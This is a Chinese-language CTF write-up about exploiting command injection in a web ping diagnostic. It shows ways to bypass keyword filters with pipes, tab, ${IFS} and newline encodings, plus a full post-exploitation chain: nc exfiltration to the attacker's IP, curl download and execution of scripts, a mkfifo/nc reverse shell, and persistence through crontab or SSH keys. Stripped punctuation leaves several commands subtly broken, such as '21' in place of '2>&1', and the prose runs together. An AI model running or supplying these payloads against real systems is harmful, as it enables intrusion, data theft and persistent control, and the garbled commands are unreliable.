1. 死亡ping命令的奇妙冒险第一次遇到这种带过滤的ping功能时我差点笑出声。开发者以为禁用几个关键词就能高枕无忧太天真了这种网络诊断功能在路由器管理后台太常见了但往往藏着致命漏洞。就像给你一把玩具水枪结果发现能改装成高压水炮。典型的场景是这样的你发现一个网页ping工具输入框写着请输入测试IP。当你老老实实输入8.8.8.8时系统乖巧地返回了响应时间。但作为CTFer我们的DNA动了——这里绝对有搞头我习惯先用分号试试水输入8.8.8.8;ls结果系统无情地返回检测到恶意字符。好吧看来基础操作行不通。2. 绕过过滤的艺术2.1 符号的魔法世界当分号、这些常规操作被ban时就该祭出我们的秘密武器了——管道符|。这个在Linux里用来连接命令的小东西在绕过过滤时简直是个神器。我输入8.8.8.8 | ls心跳加速等待响应...成功了系统先执行ping虽然失败了然后乖乖执行了ls命令。但故事还没完有些系统会过滤空格。这时候就要用上制表符%09或者${IFS}这种替代方案。记得有次比赛我试了十几种符号组合最后发现居然连换行符%0a都能用简直像在玩解谜游戏。2.2 BurpSuite的精准打击手工测试太累这时候就该BurpSuite上场了。我把请求抓到Repeater模块开始系统性地测试各种绕过姿势尝试不同编码URL编码、HTML实体编码、Unicode编码测试命令拼接|、||、、、;玩转空格替代%09、%20、${IFS}有个小技巧在BurpSuite里可以快速切换编码格式比手工输入方便多了。我通常会建个文本文件把所有可能的绕过姿势都列出来然后批量测试。3. 从执行到接管3.1 反弹shell的困境成功执行命令只是开始真正的挑战是如何建立持久化连接。理想情况是直接反弹个shell但现实往往很骨感——目标机器可能没有bash、python这些高级环境。这时候就要发挥创意了。我遇到最极端的情况目标机只有最基础的busybox环境。但没关系只要有ncnetcat我们就能玩出花来。虽然不能直接反弹交互式shell但可以通过nc回传命令执行结果。3.2 文件上传的骚操作没有直接写权限那就曲线救国。我的标准操作流程在攻击机写个shell脚本ls / | nc 我的IP 端口号用python开个HTTP服务python3 -m http.server 80让目标机用curl下载curl 我的IP/脚本 /tmp/脚本赋权执行chmod x /tmp/脚本这里有个坑wget有时候下载的文件执行不了curl更可靠。记得一定要把文件传到/tmp这类可写目录其他目录很可能没权限。4. 实战完整链条4.1 信息收集阶段拿到初始命令执行后我第一件事就是摸清环境whoami # 查看当前用户 uname -a # 系统版本 ls / # 根目录有啥 find / -name *flag* # 找flag这些信息能帮我们判断后续攻击方向。比如发现是docker环境就要考虑容器逃逸如果是root权限那直接开香槟。4.2 稳定控制方案临时执行命令不够稳我们需要建立稳定通道。我的标准方案攻击机开启监听nc -lvvp 12345目标机执行mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc 我的IP 12345 /tmp/f如果成功就能获得一个相对稳定的shell遇到网络不稳定时可以尝试用crontab创建定时任务或者写入ssh密钥等持久化方法。4.3 Flag的终极猎杀最后阶段就是找flag了。我习惯写个专用脚本#!/bin/sh cat /this/is/the/flag | nc 我的IP 12346然后同样的流程上传→赋权→执行。在攻击机另开个nc监听不同端口专门接收flag内容。有时候flag不在明显位置需要翻遍整个系统。这时候find命令就是好帮手find / -type f -exec grep -l flag{ {} 2/dev/null记住真正的CTFer从不满足于拿到flag而是要彻底掌控整个系统。每次比赛都是一场新的冒险而死亡ping命令只是无数奇妙漏洞中的一个入口。当你成功绕过层层限制最终拿到flag时那种成就感简直无法形容。这就是为什么我们如此热爱CTF——它不仅是技术的较量更是创意的狂欢。